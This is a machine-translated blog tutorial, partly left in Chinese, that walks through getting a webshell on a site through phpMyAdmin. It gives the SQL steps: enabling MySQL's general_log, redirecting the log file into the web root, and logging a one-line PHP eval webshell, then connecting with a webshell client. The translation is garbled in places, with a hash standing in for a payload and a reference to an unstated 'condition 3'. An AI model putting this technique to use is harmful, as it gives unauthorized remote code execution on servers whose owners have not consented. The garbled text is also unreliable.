Heim  >  Artikel  >  Datenbank  >  Über phpmyadmin neue Haltung getshell

Über phpmyadmin neue Haltung getshell

藏色散人
藏色散人nach vorne
2020-12-29 17:08:583205Durchsuche

Die Spalte phpmyadmin-Nutzungsanleitung unten stellt Ihnen die neue phpmyadmin-Haltung getshell vor. Ich hoffe, dass sie Freunden, die sie benötigen, hilfreich sein wird!

Über phpmyadmin neue Haltung getshell

Baidu-Enzyklopädie: phpMyAdmin ist ein MySQL-Datenbankverwaltungstool, das auf PHP basiert und im Web-Base-Modus auf dem Website-Host strukturiert ist, sodass Administratoren die Webschnittstelle zum Verwalten von MySQL-Datenbanken verwenden können. Diese Weboberfläche kann eine bessere Möglichkeit sein, komplexe SQL-Syntax auf einfache Weise einzugeben, insbesondere wenn es um den Import und Export großer Datenmengen geht. Einer der größeren Vorteile besteht darin, dass phpMyAdmin wie andere PHP-Programme auf dem Webserver ausgeführt wird, Sie die von diesen Programmen generierten HTML-Seiten jedoch überall verwenden können, d. h. zur Fernverwaltung der MySQL-Datenbank und zum einfachen Erstellen, Ändern und Löschen Datenbanken und Datentabellen. Sie können phpMyAdmin auch verwenden, um häufig verwendete PHP-Syntax zu erstellen, um die Korrektheit der SQL-Syntax zu erleichtern, die beim Schreiben von Webseiten erforderlich ist.

Laienhaft ausgedrückt besteht seine Funktion darin, die Datenbank auf der Webseite bequem zu bedienen.

Wenn wir die phpmyadmin-Seite einer Site erhalten, müssen wir als Nächstes „getshell“ tun.

Sie können die Berechtigungen erweitern, indem Sie eine Shell schreiben, und wir müssen die folgenden Bedingungen erfüllen:

1. Datenbank-Root-Berechtigungen

2. Die Datenbank verfügt über Schreibberechtigungen

Von select '64d8a9f9d2660d1aa18735456c689d78' INTO OUTFILE 'Physischer Pfad der Website' In Shell schreiben

In diesem Artikel geht es hauptsächlich um die erfolgreiche Getshell, wenn Bedingung 3 nicht erfüllt ist.

Nutzungsbedingungen:

MySQL 5.0+

MySQL 5.0+

Version erstellt automatisch Protokolldateien, sodass Sie den Dateispeicherort ändern können, indem Sie globale Variablen ändern, während der Dienst ausgeführt wird. Sie müssen jedoch das Verzeichnis festlegen, in dem das Protokoll gespeichert wird wird generiert. Hat Lese- und Schreibrechte.

(Die Linux-Umgebung ist möglicherweise anspruchsvoller, da das Site-Verzeichnis einem Benutzer und MySQL einem anderen Benutzer zugewiesen ist. Die Berechtigungskontrolle ist strenger und hängt hauptsächlich davon ab, ob die Berechtigungen ordnungsgemäß konfiguriert sind.)

Zuerst testen wir, ob die Site über Schreibzugriff verfügt Berechtigung

SQL-Anweisung ausführen SHOW VARIABLES LIKE 'secure_file_priv'

SQL-Anweisung SHOW VARIABLES LIKE 'secure_file_priv' Abfrage durchführen, um secure_file_priv zu finden

secure-file-priv-Funktion

Der Parameter secure-file-priv ist Wird zur Begrenzung von LOAD DATA verwendet, SELECT ... OUTFILE und LOAD_FILE() werden an das angegebene Verzeichnis übergeben.


    Wenn der Wert von secure_file_priv null ist, bedeutet dies, dass MySQL auf Import/Export beschränkt ist.
  • Wenn der Wert von secure_file_priv /tmp/ ist, bedeutet dies, dass der Import/Export von MySQL eingeschränkt ist treten nur im Verzeichnis /tmp/ auf
  • Wenn der Wert von secure_file_priv keinen spezifischen Wert hat, bedeutet dies, dass es keine Einschränkungen für den Import und Export von MySQL gibt
  • Sie können seine Eigenschaften im MySQL- Verzeichnis festlegen. INI-Datei

Nach dem Testen haben wir keine Schreibberechtigung

Führen Sie dann zwei globale MySQL-Variablen ein (

general_log, general_log file

)

    Das allgemeine Protokoll bezieht sich auf den Status der Protokollspeicherung. Es gibt zwei Werte (EIN/AUS): EIN bedeutet offen und AUS bedeutet geschlossen.
  1. Allgemeine Protokolldatei bezieht sich auf den Pfad, in dem das Protokoll gespeichert wird.
  2. Wir können einen Satz-Trojaner in das MySQL-Protokoll schreiben und dann den MySQL-Protokollpfad in das Website-Verzeichnis verschieben, um getshell zu implementieren

Führen Sie die SQL-Anweisung SHOW VARIABLES LIKE 'general_log%' aus, um eine Fuzzy-Abfrage durchzuführen

Das Protokoll ist standardmäßig geschlossen

Wir führen die SQL-Anweisung aus

set global general_log = "ON";     #开启日志
SET global general_log_file='网站下物理路径';  #更换日志路径

Erfolgreich erstellt

 然后执行特殊的查询语句

select  &#39;<?php eval($_POST[aaa]);?>&#39;

我们进入112233.php进行验证,成功写入shell

 最后进行菜刀连接,获得站点webshell

 

Das obige ist der detaillierte Inhalt vonÜber phpmyadmin neue Haltung getshell. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:csdn.net. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen